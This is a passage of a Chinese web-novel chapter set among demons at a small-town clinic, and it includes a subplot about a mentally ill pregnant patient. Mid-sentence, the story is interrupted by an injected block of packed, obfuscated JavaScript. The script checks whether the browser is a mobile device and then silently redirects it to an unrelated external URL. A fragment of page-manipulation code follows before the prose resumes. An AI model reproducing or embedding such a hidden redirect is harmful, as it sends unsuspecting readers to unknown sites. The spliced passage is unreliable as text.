拉瓦辛昏昏沉沉,被打发回去睡觉,斯诺特把所有果实看过,最后得出结论:“这里面没有克瑞斯。”
她斟酌道:“夏利弗毕竟是个星球,赫鲁莫面积太大了,不容易找的。”
伐库鲁尔微蹙着眉,斯诺特劝道:“休息一下吧,我问问其他医生。”
第二天一早,伐库鲁尔去看望拉瓦辛,敲敲门也没声音。
时间还早,外面气温正好,来来往往很多恶魔,斯诺特拨出去好几个电话,但通通没有确定的答案。
没办法,伐库鲁尔只能收集些稍微有点用的药,做成报告发给药品局。
恒星很快升起,再过三个小时,第二颗恒星也将升起,之后就是极热。
斯诺特问拉瓦辛有没有退烧,伐库鲁尔又去敲了敲她的房门,但依旧没有回应。
她品出些不对劲,直接开了门,拉瓦辛还在睡,身体蜷成一团,面色苍白,满头大汗。伐库鲁尔摸了摸体温,已经降下了。
斯诺特过来看了看:“第一次发情期,痛晕了,正常。上面要热起来了,先带她下去。”
伐库鲁尔不觉得正常,弯腰抱起拉瓦辛:“我去找找看有什么药。”
药馆有两层楼,二楼都是病床和基础仪器,一楼则是来看病的患者和各种基础药物。
二楼平时没魔族上来,在这样一个小镇上,除非病入膏肓身边没有亲友照看,否则没有魔族来住医馆。
一楼有三个魔族,一个孕妇正在输液,一个未成年幼崽被老年恶魔牵着手,见伐库鲁尔下来就迎上去:“您是医生吗?”
伐库鲁尔把拉瓦辛放在长椅上:“哪里不舒服?”
老年恶魔:“家里的娃娃长蛀牙了,看看能不能拔掉,她疼得不行呢!”
斯诺特下来:“我看看吧,殿下先找找止痛药。”
伐库鲁尔拿了止疼针给拉瓦辛打,边上孕妇兴许是无聊,盯着看了很久,一声不吭。
伐库鲁尔注意到她:“有问题吗?”
孕妇正过脸,没理她的话,微阖着眼睛发呆。她是只恶魔,魔纹颜色挺重,血统比较纯,这样的大多是高级恶魔。肚皮很大,身体骨架又很小,也很瘦,衬得她肚子大得吓人,像个圆肚皮的细脚蜘蛛一样。
她下半身水肿厉害,薄薄的皮肤紧致发光,下面似乎还泛着盈盈的水。
伐库鲁尔没见过这样瘦的魔族,就算是之前在南尔付林上看到的食尸鬼也没有这样。她又盯着孕妇看了一会儿,把孕妇看得不爽,睨了她一眼:“我没问题。”
斯诺特过来拿药,悄悄交代伐库鲁尔:“她得了精神病,怪怪的,您不用理。”
另一边的卢瑟那。
天空瞬息间黑了大半,时录擦擦汗,松了口气,巨大的三颗恒星终于被挡住了。
系统异常兴奋:“来了来了来了!!上啊宿主!”
巨大的骨翼刷啦展开,猛一拍地,倏地冲出蔽天黑林,箭一样飞冲过去。
黑色机甲同频启动,从时录挖来降温的深坑里猛地窜出,带起大堆草木。它手持超音长刀,激光炮架上一肩,大开着舱门,待时录冲进驾驶室,整个机甲猛地激活,亮起指示灯,飞速向着半天高的库鲁尔冲去。
时录好歹活了八百年,各种小说角色都试过,打架自然不在话下。
库鲁尔甩动着粗长的触手,大地都被撼动,林子里扑簌簌飞出大片鸟兽,时录迎着漆黑的天空,灵活躲过几次进攻,激光炮口聚起强光,一举破开黑暗,直直轰向库鲁尔庞大的身体!
手腕一转,超音长刀变化形状,尖刺一样细长直挺,冲着库鲁尔滑润粘腻的薄皮猛猛刺下!
呜呜哝哝的尖叫刺破长空。
“啊!”拉瓦辛瞬间坐起,拉住自己的领口,目瞪口呆,“你你你!……你好?”
孕妇深褐色的眼睛异常亮,泛着幽幽的光,死死盯着她。拉瓦辛后背发凉,四周看看却没找到其他魔族,整个一楼只有她们两个。
她刚才好像是睡在这孕妇的大腿上了?拉瓦辛看看胸口,她的衣领被解开了两三个扣子,刚才下意识以为是孕妇在摸她。
拉瓦辛默默把扣子系上,又四周看看,最后尴尬道:“抱歉,我刚才太大声了,没吓到你吧?”
孕妇盯着她一言不发,消瘦的脸能清楚看到骨骼的形状,触目惊心。
拉瓦辛更尴尬了,坐回去低着头。止疼药很有效,她现在浑身都舒服了不少,拿了智脑环想联系一下伐库鲁尔去外面找克瑞斯。
她手刚抬起,边上那孕妇忽然大叫起来,声音尖锐震天,吓得拉瓦辛直接蹦起来!
她正站在原地束手无措,幸好伐库鲁尔很快就回来了,她提着新买的当地特制防晒衣,和一脸惊慌的拉瓦辛对上视线。
拉瓦辛咯噔一下,看看这边看看那边,“对不起”脱口而出,伐库鲁尔放下手里的袋子,把她拉远一些:“干嘛道歉。”
拉瓦辛才松了口气,又看向那孕妇,她大张着嘴巴,高昂着脑袋,表情夸张又诡异,眼睛弯着,瞳孔往下注视着她们,似乎在笑,但发出的却是哭嚎。
伐库鲁尔上前,拉瓦辛还想拦她,却见她已经按住了孕妇输液的那只胳膊,慢慢坐在她身边。
孕妇忽而不叫了,望着伐库鲁尔和拉瓦辛,狡猾地笑了,像是刚才的都是她装的。
拉瓦辛匪夷所思,斯诺特正巧帮熊孩子拔了牙,刚从二楼下来。老年恶魔揽着抽噎的小孩子,探头往下看,唏嘘道:“这个疯子呀,她怎么了?”
斯诺特:“没什么大事,就是发烧了,她体质弱,吃药不太见好,我叫她过来输两天液。”
老年恶魔叹道:“可怜的。”
拉瓦辛问:“她怎么回事?”
斯诺特送了老少两恶魔走,回来看看孕妇的状况:“她流产太多次了,疯了。”
拉瓦辛看看那孕妇浑圆的大肚子,看起来可不像流产的样子。
斯诺特也没有避讳:“镇上的恶魔说,她疯了两百多年,流产十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239058|181873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
七次了,第五次之后就疯了,她肚子里现在不是孩子,是个玩具娃娃。她亲自塞进去的,中间失踪好久,回来发现居然没事,但不让医生碰她肚子,没办法取出来。”
那孕妇也不闹,似乎听不到斯诺特的话,伸手去拽伐库鲁尔领口的扣子,拉瓦辛掰开她的手,警告道:“原来真是你在摸我。”
斯诺特拿来一只飞鸟的玩具,放在孕妇身前,伐库鲁尔才站起来:“她不会又偷偷塞进去吧?”
斯诺特:“等她输完液就拿走,她也不是不能沟通。”
“听说她以前是在主星区工作的,好像是研究时空隧道的,就算疯了也很聪明的。”
拉瓦辛觉得她可怜,这孕妇是个恶魔,看魔纹颜色还挺深,不像是普通恶魔,她担忧道:“怎么会怀孕十七次,她丈夫呢?她是不是被强迫的?”
伐库鲁尔严谨补充:“怀孕也可以不用男性魔族。”
斯诺特:“夏利弗征兵力度大,大多男性魔族都参军去了。她没有伴侣,我原来也怀疑过有女的强迫她,不过镇上的魔族说她是自愿的,她就想要孩子。”
伐库鲁尔挑眉:“意思是,镇上的魔族都和她发生了关系,并仗着她神志不清,所以隐瞒了这件事,对吗?”
拉瓦辛也瞪着眼睛。斯诺特却是温和一笑:“没有那么黑暗,镇上的各位都很关照她,可以理解为……嗯,互利互惠吧。”
拉瓦辛还是不舒服:“那不就是,镇上的魔族背叛了她们的丈夫和妻子吗?”
斯诺特:“别的星球可能吧,但在夏利弗不认为这是背叛,这里还是很落后的,女性魔族背叛伴侣就不算背叛,那是天经地义,家里的男性是不允许提出意见的。”
拉瓦辛哑口无言,孕妇抱着小鸟玩具,低着头咿咿呀呀逗弄着,斯诺特提醒:“离她远点,她可能会骚扰你们。”
“唉,哪有母亲不爱孩子的呢?也是个可怜的。”
伐库鲁尔打发拉瓦辛离远一点:“夏利弗现在已经发布了药物悬赏,我们等消息就好。暂时不用出去,你安静待着,不舒服就再休息一下。”
夏利弗气温很高,雨水也多,没一会儿就下起了太阳雨,气温降低了不少。伐库鲁尔毕竟答应要照顾拉瓦辛,第一次发情期不好控制,这孕妇又一直摸来摸去,她怕拉瓦辛出什么事,还是让堕天使去了二楼待着。
拉瓦辛坐在窗边,泥土和着雨水的腥味透进屋子,三角巾捂得很闷,全身都粘腻腻的,很不舒服。
果实和枯叶的酸腐味慢慢腾起,天空响起滚滚雷声,雨水打在床沿,溅在手臂上,凉凉的。远处黑压压的林子里窜出几只飞鸟,低低掠过街道。
她的母亲怎么样了呢?她在生下自己之前,也曾流产过两次,因为高强度工作和带军打仗流产的。
坦塞得斯……
母亲曾告诉她,亲情是这个世界上最难斩断的关系。
爱、怜悯、痛恨、心疼、埋怨、厌恶、感谢、思念、嫌弃。这就是亲情吗?